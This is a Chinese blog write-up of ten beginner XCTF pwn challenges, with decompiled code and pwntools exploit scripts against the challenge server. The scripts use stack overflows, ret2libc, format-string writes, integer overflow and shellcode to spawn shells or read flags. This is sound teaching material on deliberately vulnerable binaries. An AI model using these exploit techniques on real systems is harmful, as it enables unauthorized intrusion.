【pwn】攻防世界 pwn新手区wp

原创

woodwhale 于 2021-08-10 10:37:11 发布

分类专栏： pwn 与君共勉 文章标签： ctf pwn xctf wp

本文链接：https://blog.csdn.net/woodwhale/article/details/119564262

【pwn】攻防世界 pwn新手区wp

前言

这几天恶补pwn的各种知识点，然后看了看攻防世界的pwn新手区没有堆题（堆才刚刚开始看），所以就花了一晚上的时间把新手区的10题给写完了。

1、get_shell

送分题，连接上去就是/bin/sh

```
int __cdecl main(int argc, const char **argv, c
{
  puts("OK,this time we will get a shell.");
  system("/bin/sh");
  return 0;
}
```

不过不知道为啥我的nc连接不上。。。

还是用pwntool的remote连接的

```
from pwn import *

io = remote("111.200.241.244", 64209)
io.interactive()
```

2、hello pwn

```
woodwhale@ubun:~/ctftools/xctf2.$ checksec xctf2
[*] '/home/woodwhale/ctftools/xctf2./xctf2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

```
__int64 __fastcall main(int a1, char **a2, char
{
  alarm(0x3Cu);
  setbuf(stdout, 0LL);
  puts("~~ welcome to ctf ~~      ");
  puts("lets get helloworld for bof");
  read(0, &unk_601068, 0x10uLL);
  if ( dword_60106C == 1853186401 )
    sub_400686();
  return 0LL;
}
```

可以看到read写入的是0x601068地址的数据，而下面的if语句判断的是0x60106C地址的数据是否为1853186401

由于这两个位置在内存中就是+4字节的关系，所以我们可以在read的过程中实现覆盖

```
from pwn import *

io = remote("111.200.241.244", 49847)

payload = b"bi0x" + p64(1853186401)

io.sendline(payload)
io.interactive()
```

3、level0

```
woodwhale@ubun:~/ctftools/xctf3.$ checksec xctf3
[*] '/home/woodwhale/ctftools/xctf3./xctf3'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

main函数中会跳转到一个vulnerable_function

```
int __cdecl main(int argc, const char **ar
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function(1LL);
}
```

一看就是明显的栈溢出，然后rsp距离rbp的距离为0x80，所以直接覆盖就行了，在覆盖掉8字节的pre ebp
此外值得一提的是，64位程序中，函数的前6个参数分别由rdi、rsi、rdx、rcx、r8、r9存放的，之后的参数存放在栈中。

所以这里我们将/bin/sh存入edi中，这样system函数的第一个参数就是/bin/sh了

```
ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200uLL);
}
```

```
from pwn import *

io = remote("111.200.241.244",54678)
elf = ELF("./xctf3")

binsh_addr = next(elf.search(b"/bin/sh"))
system_addr = elf.symbols["system"]
pop_edi_addr = 0x0000000000400663

payload = b"a"*0x80 + b"bi0xbi0x" + p64(pop_edi_addr) + p64(binsh_addr) + p64(system_addr)

io.sendafter("Hello, World\n",payload)
io.interactive()
```

4、level2

```
woodwhale@ubun:~/ctftools/xctf4.$ checksec xctf4
[*] '/home/woodwhale/ctftools/xctf4./xctf4'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

终于来了个32位的-。-

拖入32位ida中分析，main函数中有一个vulnerable_function函数，步入分析

```
int __cdecl main(int argc, const char **
{
  vulnerable_function();
  system("echo 'Hello World!'");
  return 0;
}
```

明显的栈溢出

```
ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF

  system("echo Input:");
  return read(0, buf, 0x100u);
}
```

我们在shift+f12中看到了/bin/sh的地址

Address	Length	Type	String
LOAD:080481...	00000013	C	/lib/ld-linux.so.2
LOAD:080482...	0000000A	C	libc.so.6
LOAD:080482...	0000000F	C	_IO_stdin_used
LOAD:080482...	00000007	C	system
LOAD:080482...	00000012	C	__libc_start_main
LOAD:080482...	0000000F	C	__gmon_start__
LOAD:080482...	0000000A	C	GLIBC_2.0
.rodata:08048...	0000000C	C	echo Input:
.rodata:08048...	00000014	C	echo 'Hello World!'
.eh_frame:080...	00000005	C	;*2$\"
.data:0804A024	00000008	C	/bin/sh

所以直接给出exp

```python
from pwn import *

io = remote("111.200.241.244", 63107)
elf = ELF("./xctf4")

system_plt = elf.plt["system"]
binsh_addr = next(elf.search(b"/bin/sh"))

payload = b"a"*0x88 + b"bi0x" + p32(system_plt) + b"bi0x" + p32(binsh_addr)

io.send(payload)
io.interactive()
```

5、string

```
woodwhale@ubun:~/ctftools/xctf5.$ checksec xctf5
[*] '/home/woodwhale/ctftools/xctf5./xctf5'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

canary开启，所以栈溢出是没戏

看题目string（字符串），那么可能是格式化字符串了

拖入64位ida中分析

```
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  _DWORD *v4; // [rsp+18h] [rbp-78h]

  setbuf(stdout, 0LL);
  alarm(0x3Cu);
  sub_400996(60LL);
  v4 = malloc(8uLL);
  *v4 = 68;
  v4[1] = 85;
  puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
  puts("we will tell you two secret ...");
  printf("secret[0] is %x\n", v4);
  printf("secret[1] is %x\n", v4 + 1);
  puts("do not tell anyone ");
  sub_400D72(v4);
  puts("The End.....Really?");
  return 0LL;
}
```

首先分析main函数，告诉我们有两个关键的指针地址，分别是v4[0]额v4[1]的地址，然后进入sub_400D72这个函数，传入的参数是v4[0]这个指针

```
unsigned __int64 __fastcall sub_400D72(__int64 a1)
{
  char s[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("What should your character's name be:");
  _isoc99_scanf("%s", s);
  if ( strlen(s) <= 0xC )
  {
    puts("Creating a new player.");
    sub_400A7D();
    sub_400BB9();
    sub_400CA6(a1);
  }
  else
  {
    puts("Hei! What's up!");
  }
  return __readfsqword(0x28u) ^ v3;
}
```

分析sub_400D72这个函数

首先叫我们输入一个用户名，然后判断这个用户名是否大于12，如果大于12长度那么结束

所以我们输入一个小于12长度的username

然后就是三个函数等着我们，sub_400A7D、sub_400BB9、sub_400CA6，我们一个个分析

```
  char s1[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts(" This is a famous but quite unusual inn. The air is fresh and the");
  puts("marble-tiled ground is clean. Few rowdy guests can be seen, and the");
  puts("furniture looks undamaged by brawls, which are very common in other pubs");
  puts("all around the world. The decoration looks extremely valuable and would fit");
  puts("into a palace, but in this city it's quite ordinary. In the middle of the");
  puts("room are velvet covered chairs and benches, which surround large oaken");
  puts("tables. A large sign is fixed to the northern wall behind a wooden bar. In");
  puts("one corner you notice a fireplace.");
  puts("There are two obvious exits: east, up.");
  puts("But strange thing is ,no one there.");
  puts("So, where you will go?east or up?:");
  while ( 1 )
  {
    _isoc99_scanf("%s", s1);
    if ( !strcmp(s1, "east") || !strcmp(s1, "east") )
      break;
    puts("hei! I'm secious!");
    puts("So, where you will go?:");
  }
  if ( strcmp(s1, "east") )
  {
    if ( !strcmp(s1, "up") )
      sub_4009DD();
    puts("YOU KNOW WHAT YOU DO?");
    exit(0);
  }
  return __readfsqword(0x28u) ^ v2;
}
```

首先来看sub_400A7D

输出可以看，首先叫我们选择方向east or up？

看到下面的strcmp判断，只能选择east跳出循环

然后来到下面的if，因为是east，所以直接结束执行了（不懂这个判断有啥必要。。？s1改为up大可不必）

```
unsigned __int64 sub_400BB9()
{
  int v1; // [rsp+4h] [rbp-7Ch] BYREF
  __int64 v2; // [rsp+8h] [rbp-78h] BYREF
  char format[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = 0LL;
  puts("You travel a short distance east.That's odd, anyone disappear suddenly");
  puts(", what happend?! You just travel , and find another hole");
  puts("You recall, a big black hole will suckk you into it! Know what should you do?");
  puts("go into there(1), or leave(0)?:");
  _isoc99_scanf("%d", &v1);
  if ( v1 == 1 )
  {
    puts("A voice heard in your mind");
    puts("'Give me an address'");
    _isoc99_scanf("%ld", &v2);
    puts("And, you wish is:");
    _isoc99_scanf("%s", format);
    puts("Your wish is");
    printf(format);
    puts("I hear it, I hear it....");
  }
  return __readfsqword(0x28u) ^ v4;
}
```

然后是sub_400BB9

puts的也不用看，叫我们选择1or0，选1才能继续

告诉我们输入一个16字节的大小的地址

然后再输入一个wish，然后printf这个wish

很明显的格式化字符串

所以到这里就知道需要测试偏移量了

```
unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
  void *v1; // rsi
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!");
  puts("Dragon say: HaHa! you were supposed to have a normal");
  puts("RPG game, but I have changed it! you have no weapon and ");
  puts("skill! you could not defeat me !");
  puts("That's sound terrible! you meet final boss!but you level is ONE!");
  if ( *a1 == a1[1] )
  {
    puts("Wizard: I will help you! USE YOU SPELL");
    v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
    read(0, v1, 0x100uLL);
    ((void (__fastcall *)(_QWORD))v1)(0LL);
  }
  return __readfsqword(0x28u) ^ v3;
}
```

随后一个sub_400CA6(a1)

```
sub_400D72(v4);
```

传入了a1这个参数，a1是啥，我们首先回到sub_400D72

sub_400D72传入了v4这个指针的地址，而sub_400D72这个函数的参数是a1

```
unsigned __int64 __fastcall sub_400D72(__int64 a1)
{
  char s[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("What should your character's name be:");
  _isoc99_scanf("%s", s);
  if ( strlen(s) <= 0xC )
  {
    puts("Creating a new player.");
    sub_400A7D();
    sub_400BB9();
    sub_400CA6(a1);
  }
  else
  {
    puts("Hei! What's up!");
  }
  return __readfsqword(0x28u) ^ v3;
}
```

所以我们可以得到下图这个关键的if语句中的a1就是v4的地址，如果相等那么就mmap分配一个内存大小为0x1000的区域v1，然后我们可以向v1中写入0x100大小的数据

这里就可以想到写入一段amd64的shellcode来获取shell

```
if ( *a1 == a1[1] )
{
  puts("Wizard: I will help you! USE YOU SPELL");
  v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
  read(0, v1, 0x100uLL);
  ((void (__fastcall *)(_QWORD))v1)(0LL);
}
return __readfsqword(0x28u) ^ v3;
```

需要我们将a1[0]和a1[1]相等，也就是v4[0] = v4[1]

我们如何将v4[0]赋值位85呢，**利用格式化字符串！**

```
*v4 = 68;
v4[1] = 85;
```

在刚刚出现的printf中，我们先测量偏移量

```
A voice heard in your mind
'Give me an address'
1
And, you wish is:
AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
Your wish is
AAAA-0x7fddfd057723-(nil)-0x7fddfcf7c1e7-0xd-(nil)-0x100603018-0x1-0x2d70252d414
14141-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d702
5-0x252d70252d70252d-0x400070-0x7ffec0d10490I hear it, I hear it....
Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!
```

我们输入的address是1，而这个0x1再printf中出现的是第8个，也就是printf的第8个参数，也就是第7个格式化字符串的参数，所以偏移量是7

所以格式化字符串只需要"a"*85+"%7$n"，前面写85字节的字符串，然后传给第7个参数，这个第7个参数就是我们的v4[0]指针地址（在前面的程序开始puts的）

所以构建exp

```
from pwn import *

io = remote("111.200.241.244",55215)

io.recvuntil("secret[0] is ")
v4_addr = int(io.recvuntil("\n",drop=True),16)
io.sendlineafter("name be:", b"woodwhale")
io.sendlineafter("east or up?:", b"east")
io.sendlineafter("leave(0)?:", b"1")
io.sendlineafter("address'", str(v4_addr))
io.sendlineafter("And, you wish is:", b"a"*85+b"%7$n")
io.sendafter("USE YOU SPELL", asm(shellcraft.amd64.sh(),arch="amd64"))
io.interactive()
```

6、guess_num

```
woodwhale@ubun:~/ctftools/xctf6.$ checksec xctf6
[*] '/home/woodwhale/ctftools/xctf6./xctf6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

保护基本都开了，看这个题目就知道是猜数字

拖入ida中分析

先看main函数

```
  v9 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  v4 = 0;
  v6 = 0;
  *(_QWORD *)seed = sub_BB0();
  puts("--------------------------------");
  puts("Welcome to a guess number game!");
  puts("--------------------------------");
  puts("Please let me know your name!");
  printf("Your name:");
  gets(v7);
  srand(seed[0]);
  for ( i = 0; i <= 9; ++i )
  {
    v6 = rand() % 6 + 1;
    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v4);
    puts("---------------------------------");
    if ( v4 != v6 )
    {
      puts("GG!");
      exit(1);
    }
    puts("Success!");
  }
  sub_C3E();
  return 0LL;
}
```

首先输入username

然后给了一个以seed[0]为种子的随机数

然后for循环猜测10次数字

全对给flag

我们需要做的就是劫持seed[0]，把它改为我们想要的数字，然后有了种子，模拟和它一样的随机数

这里我们看看v7地址

```
-0000000000000030 var_30          db 32 dup(?)
```

再看看seed[0]的地址

```
-0000000000000010 seed            dd 2 dup(?)
```

相差20

我们知道函数参数是逆序压入栈中，所以第一个参数的地址最低，这样我们就可以通过gets函数覆盖掉seed[0]的值，偏移量为0x20

exp如下

这里的from ctypes import *是导入c语言库函数的一个库

这样我们就可以使用srand函数了

```
from pwn import *
from ctypes import *

io = remote("111.200.241.244",63989)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

libc.srand(2)
payload = b"b"*0x20 + p64(2)
io.sendlineafter("name:",payload)

for i in range(10):
    io.sendlineafter("number:",str(libc.rand()%6+1))

io.interactive()
```

7、int_overflow

```
woodwhale@ubun:~/ctftools/xctf7.$ checksec xctf7
[*] '/home/woodwhale/ctftools/xctf7./xctf7'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

又是为数不多的x86

拖入32位ida中分析

查看所有字符串，发现cat flag

```
.rodata:08048...  00000009  C  cat flag
```

看main函数

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-Ch] BYREF

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("----------------------");
  puts("~~ Welcome to CTF! ~~");
  puts("       1.Login       ");
  puts("       2.Exit        ");
  puts("----------------------");
  printf("Your choice:");
  __isoc99_scanf("%d", &v4);
  if ( v4 == 1 )
  {
    login();
  }
  else
  {
    if ( v4 == 2 )
    {
      puts("Bye~");
      exit(0);
    }
    puts("Invalid Choice!");
  }
  return 0;
}
```

叫我们选择1or2，选1进入login，选2退出。所以选1。

步入login()函数中分析

```
int login()
{
  char buf[512]; // [esp+0h] [ebp-228h] BYREF
  char s[40]; // [esp+200h] [ebp-28h] BYREF

  memset(s, 0, 0x20u);
  memset(buf, 0, sizeof(buf));
  puts("Please input your username:");
  read(0, s, 0x19u);
  printf("Hello %s\n", s);
  puts("Please input your passwd:");
  read(0, buf, 0x199u);
  return check_passwd(buf);
}
```

首先读取0x19长度的username，这么点长度栈溢出肯定没用

然后读取0x199的passwd，这里栈溢出有戏，但是看了看buf和ebp的距离，0x228，我们只能读入0x199长度，所以还是覆盖不了

把希望寄托于下面的check_passwd函数，传入参数为我们刚刚写入的buf

```
char *__cdecl check_passwd(char *s)
{
  char *result; // eax
  char dest[11]; // [esp+4h] [ebp-14h] BYREF
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Invalid Password");
    result = (char *)fflush(stdout);
  }
  else
  {
    puts("Success");
    fflush(stdout);
    result = strcpy(dest, s);
  }
  return result;
}
```

首先v3是一个无符号的8位数，也是我们刚刚输入的buf的长度，如果v3<= 3u（这里的u指的是unsigned，也就是无符号数，也就是011），或者v3 > 8u（也就是11111111，10进制中的255），那么这样我们输入的buf就判断为无效

如何让这个判断成为true呢？与题目中的int_overflow息息相关！

因为strlen()的返回值是一个int，4字节长度，也就是8位，如果我们的buf长度大于255会发生什么呢？

例如我们的buf的长度为263，二进制就是1 0000 0111，会被strlen读取为0000 0111，那么这个111>011，并且111<11111111，这样就成功绕过

最后再strcpy中实现dest的栈溢出，dest距离ebp距离为0x14，所以构建exp

```
from pwn import *

io = remote("111.200.241.244",57657)
elf = ELF("./xctf7")

io.sendlineafter("choice:",b"1")
io.sendafter("username:",b"woodwhale")

cat_flag_addr = next(elf.search(b"cat flag"))
system_plt = elf.plt["system"]
payload = b"a"*0x14 + b"bi0x" + p32(system_plt) + b"bix0" + p32(cat_flag_addr)
payload += b"a"*(263-int(len(payload)))

io.sendlineafter("passwd:",payload)
io.interactive()
```

8、cgpwn2

```
woodwhale@ubun:~/ctftools/xctf8.$ checksec xctf8
[*] '/home/woodwhale/ctftools/xctf8./xctf8'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

为数不多的x86

拖入32位ida中

先看所有字符串，没有后门

Address	Length	Type	String
LOAD:080481...	00000013	C	/lib/ld-linux.so.2
LOAD:080482...	0000000A	C	libc.so.6
LOAD:080482...	0000000F	C	_IO_stdin_used
LOAD:080482...	00000006	C	stdin
LOAD:080482...	00000006	C	fgets
LOAD:080482...	00000007	C	stdout
LOAD:080482...	00000007	C	stderr
LOAD:080482...	00000007	C	system
LOAD:080482...	00000007	C	setbuf
LOAD:080482...	00000012	C	__libc_start_main
LOAD:080482...	0000000F	C	__gmon_start__
LOAD:080483...	0000000A	C	GLIBC_2.0
.rodata:08048...	0000000C	C	echo hehehe
.rodata:08048...	00000019	C	please tell me your name
.rodata:08048...	00000027	C	hello,you can leave some message here:
.rodata:08048...	0000000A	C	thank you
.eh_frame:080...	00000005	C	;*2$\"

分析main函数

```
IDA View-A    Pseudocode-A
int __cdecl main(int argc, const ch
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  hello();
  puts("thank you");
  return 0;
}
```

清除缓冲区，然后进入hello函数。没啥好看的

我们直接步入hello函数()

```
__int16 *v0; // eax
int v1; // ebx
unsigned int v2; // ecx
__int16 *v3; // eax
__int16 s; // [esp+12h] [ebp-26h] BYREF
int v6; // [esp+14h] [ebp-24h] BYREF

v0 = &s;
v1 = 30;
if ( ((unsigned __int8)&s & 2) != 0 )
{
  s = 0;
  v0 = (__int16 *)&v6;
  v1 = 28;
}
v2 = 0;
do
{
  *(_DWORD *)&v0[v2 / 2] = 0;
  v2 += 4;
}
while ( v2 < (v1 & 0xFFFFFFFC) );
v3 = &v0[v2 / 2];
if ( (v1 & 2) != 0 )
  *v3++ = 0;
if ( (v1 & 1) != 0 )
  *(_BYTE *)v3 = 0;
puts("please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets((char *)&s);
}
```

前面这么多数字计算，看的眼花缭乱，但是这些都没啥用，我们要的是gets函数的栈溢出，gets中输入s变量，s距离epb为0x26

这可以看到我们再fget中标准输入的东西存入了name这个变量中，我们是不是可以在name中存放一个/bin/sh或者cat flag，然后在下面gets函数中调用system(name)，这样就获取了权限

直接看name的地址，在bss段的0x0804A080

```
.bss:0804A080 name            db 34h dup(?)
```

那么直接构建exp

```
from pwn import *

io = remote("111.200.241.244",49222)
elf = ELF("./xctf8")

system_plt = elf.plt["system"]
binsh_addr = 0x0804A080

io.sendlineafter("name","cat flag")
payload = b"b"*0x26 + b"bi0x" + p32(system_plt) + b"bi0x" + p32(binsh_addr)
io.sendlineafter("here:",payload)
io.interactive()
```

9、level3

```
[*] '/home/woodwhale/ctftools/xctf9/xctf9'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

还是x86，拖入ida

题目还给了个libc，一看就是ret2libc3

先看字符串，肯定是没有system的plt地址和后门的

Address	Length	Type	String
LOAD:080481...	00000013	C	/lib/ld-linux.so.2
LOAD:080482...	0000000A	C	libc.so.6
LOAD:080482...	0000000F	C	_IO_stdin_used
LOAD:080482...	00000012	C	__libc_start_main
LOAD:080482...	00000006	C	write
LOAD:080482...	0000000F	C	__gmon_start__
LOAD:080482...	0000000A	C	GLIBC_2.0
.rodata:08048...	00000008	C	Input:\n
.rodata:08048...	0000000F	C	Hello, World!\n
.eh_frame:080...	00000005	C	;*2$\"

main函数中有用的就是这个vulneravle_function函数

```
int __cdecl main(int argc, const char **argv, cons
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}
```

有个gets的栈溢出

```
ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF

  write(1, "Input:\n", 7u);
  return read(0, buf, 0x100u);
}
```

这里需要了解动态连接的知识点

第一次调用一个函数，比如write()，write.plt会去找write.got索要write的真实地址，但是write.got不知道，所以让write.plt自己去找，然后write.plt自己找到了，将这个地址放在了write.got表中

第二次调用，write.plt会直接去找write.got，这个时候因为got表中存放了write的真实地址，所以直接给了write.plt，所以直接指向了write的真实地址

这是前置知识，不明白的去ctf-wiki的ret2libc3中恶补一下

这题我们需要的就是通过write可以写数据到控制台中，将write的got表地址中存储的write的真实地址输出，然后通过题目给的libc文件，得到libc的基地址，然后根据基地址去寻找system函数和/bin/sh的真实地址

我们第一次调用的时候，先执行write函数，将write的got表中存储的真实地址打印出来，然后执行_start函数，让程序再次运行

第二次程序运行，我们得到了system和bin/sh的地址，直接调用就okk了

```
from pwn import *

io = remote("111.200.241.244",57553)
libc = ELF("./libc_32.so.6")
elf = ELF("./xctf9")

write_got = elf.got["write"]
write_plt = elf.plt["write"]
start_addr = elf.symbols["_start"]

payload = b"b"*0x88 + b"bi0x" + p32(write_plt) + p32(start_addr) + p32(1) + p32(write_got) + p32(4)
io.sendafter(b"Input:\n",payload)

write_true_addr = u32(io.recv(4))

libc_base = write_true_addr - libc.symbols["write"]
system_true_addr = libc_base + libc.symbols["system"]
binsh_true_addr = libc_base + next(libc.search(b"/bin/sh"))

payload = b"a"*0x88 + b"biox" + p32(system_true_addr) + b"bi0x" + p32(binsh_true_addr)
io.send(payload)
io.interactive()
```

10、CGfsb

```
woodwhale@ubun:~/ctftools/xctf10$ checksec xctf10
[*] '/home/woodwhale/ctftools/xctf10/xctf10'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

还是32位，拖入ida中分析

看main函数

```
{
  _DWORD buf[2]; // [esp+1Eh] [ebp-7Eh] BYREF
  __int16 v5; // [esp+26h] [ebp-76h]
  char s[100]; // [esp+28h] [ebp-74h] BYREF
  unsigned int v7; // [esp+8Ch] [ebp-10h]

  v7 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  buf[0] = 0;
  buf[1] = 0;
  v5 = 0;
  memset(s, 0, sizeof(s));
  puts("please tell me your name:");
  read(0, buf, 0xAu);
  puts("leave your message please:");
  fgets(s, 100, stdin);
  printf("hello %s", (const char *)buf);
  puts("your message is:");
  printf(s);
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
  }
  else
  {
    puts("Thank you!");
  }
  return 0;
}
```

直接看到了格式化字符串

只要我们的pwnme这个变量值为8，那么我们就可以cat flag

首先测试偏移量

```
woodwhale@ubun:~/ctftools/xctf10$ ./xctf10
please tell me your name:
woodwhale
leave your message please:
AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
hello woodwhale
AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
your message is:
AAAA-0xffa8ce1e-0xf7ed4580-0x1-(nil)-0x1-0xf7f24990-0x6f770001-0x6877646
f-0xa656c61-0x41414141-0xe29480e2
Thank you!
```

测得偏移量为10

那么直接写exp

```python
from pwn import *

io = remote("111.200.241.244",53590)

pwnme_addr = 0x0804A068

payload = p32(pwnme_addr) + b"bi0x%10$n"

io.sendlineafter("name:",b"woodwhale")
io.sendlineafter("please:",payload)
io.interactive()
```

这里的pwnme需要的值是8，而我们输入的地址是4字节的，所以前面还需要4个char字符，这样4 + 4 = 8，我们的pwnme就可以赋值为8